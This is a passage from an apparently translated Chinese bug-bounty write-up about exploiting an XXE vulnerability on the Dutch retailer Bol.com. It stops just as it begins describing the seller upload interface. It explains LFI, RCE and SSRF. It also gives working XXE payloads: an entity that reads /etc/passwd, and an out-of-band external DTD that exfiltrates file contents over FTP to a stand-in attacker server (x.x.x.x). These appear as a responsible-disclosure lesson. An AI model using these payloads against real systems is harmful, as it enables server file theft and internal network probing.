看我如何发现Bol.com网站的XXE漏洞并成功利用

背景

在之前的报告中，我们学到了许多有关在访问者的浏览器中执行代码的知识；反射型XSS和存储型XSS。此外，我们还快速查看了错误配置的服务器设置和Open Redirect（开放式重定向）。

今天，我们将探讨的是如何从服务器窃取私有文件。

选择目标

像往常一样，我们需要一个好的目标。Bol.com是荷兰最大的电子商务网站之一。他们对我提交的开放式重定向错误报告的处理非常积极；快速的回复，修复并始终向我发送更新。没有任何额外的麻烦，没有NDA保密协议，轻松愉快的语气。可以说这是其他公司处理负责任披露的完美范例。也是一家你值得加入的公司。

在开始正式的内容前，让我们先来了解下什么是XXE，LFI和RCE。

本地文件包含（LFI）是在服务器响应中显示内部服务器文件的过程。远程执行代码（RCE）是在服务器上执行我们自己代码的过程。

通常LFI错误会导致RCE；有很多技巧可以用来将LFI升级为RCE。

RCE漏洞会对服务器安全带来巨大的威胁，因为它可能会最终导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码，但操作系统本身仍时不时会存在一些缺陷。允许绕过此特定访问限制的缺陷。你可能在过去使用过这种类型的bug；通过在iPhone上越狱iOS或root你的安卓手机。两者都是利用了bug来接管操作系统。我们将此类攻击称为提权。

XML外部实体（XXE）攻击基于扩展XML文件，加载本地文件和外部URL。它可能会导致LFI和RCE，因此它同样具有很大的威胁性。虽然XXE攻击发现于十多年前，但至今你仍然可以在许多网站上发现这个漏洞。

可扩展标记语言（XML）

XML是一种标记语言，允许创建计算机和人都易于阅读的文档。虽然有人说这种语言已经过时，但直到现在仍有许多地方在使用它。

如果我们仔细查看该示例，会注意到contents在标记之间，例如<body>contents</body>。因此，我们应该转义标签内的特定字符。否则，将有可能被人恶意注入标签并操纵整个XML文件。默认情况下，XML会将<>&'”字符转义为类似<>&'"的实体。因此，我们仍可以在不破坏XML文件的情况下使用字符。

XML有一个很好的功能，就是允许我们通过在XML文档中包含Document类型定义（DTD）来定义我们自己的实体。如下所示。

DTD 示例：

Example DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>

利用 XML 解析器

但是如果解析器允许我们定义文件而不是字符串呢？结果将是实体被文件中的内容替换。通过更改<!ENTITY body “Don’t forget me this weekend!” >为<!ENTITY body SYSTEM “file:///etc/passwd” >一些解析器将会向我们直接显示/etc/passwd文件的内容。

除了LFI，一些XML解析器还允许我们加载外部URL；只需用http://替换file://字符串即可。webserver将请求此URL。这可能会导致SSRF攻击；你也可以请求内部webserver，扫描开放端口并映射内部网络。你是否能够访问到包含元数据的本地webservers？如果是那么恭喜你，你最终可能得到 25000美元的漏洞赏金。

其他可能性是通过PHP模块直接获取RCE和拒绝服务攻击。

上述LFI攻击只有在我们的输入返回到某个地方时才可行。否则我们无法读取被替换的实体。如果遇到这种情况，可以使用以下技巧来泄漏数据。

盲XXE？通过HTTP/FTP请求外部DTD泄漏数据

所以服务器会解析你的XML，但没有向你显示响应中的内容？

由于你可以加载外部DTD，因此你可以将自定义实体附加到外部URL。只要URL有效，它就会加载附加了（文件）内容的URL。请注意像#这样的字符会破坏url。

XXEserve

XXEserve是一个由staaldraad创建的用于捕获XXE请求的一个非常棒的工具。它是一个简单的FTP/HTTP服务器，会显示所有我们对服务器的请求。它还伪造了一个FTP服务器；由于字符串中字符的原因，HTTP有时会失败，FTP则会保持正常工作。

快速开始

1.在公共服务器上安装XXEserv

2.创建包含要泄漏的文件或（内部）URL的外部DTD文件（即sp2.dtd）。将x.x.x.x替换为服务器的IP地址或主机名：

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

3.将此外部DTD文件放在XXEserv目录中。XXEserv充当公共ftp和Web服务器；所以我们现在能够链接这个文件。

4.将XML payload发送给受害者，包括我们的外部DTD：

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>

5.观察XXEserv的输出

如果想查看不同变种的XXE payloads，请点击此处[1][2]。

我们需要找到一种方法将我们的XML代码上传或注入到Bol.com。我们可以从他们的“卖家门户”入手。大多数情况下，卖家能够上传与其产品相关的图片或其他文件。

网站的这一部分允许用户上传准备好（再次）销售的产品。

一句简短的荷兰语：’Aanbod beheren via excel’意思是“在excel中管理库存”。

此界面共包含有三个步骤：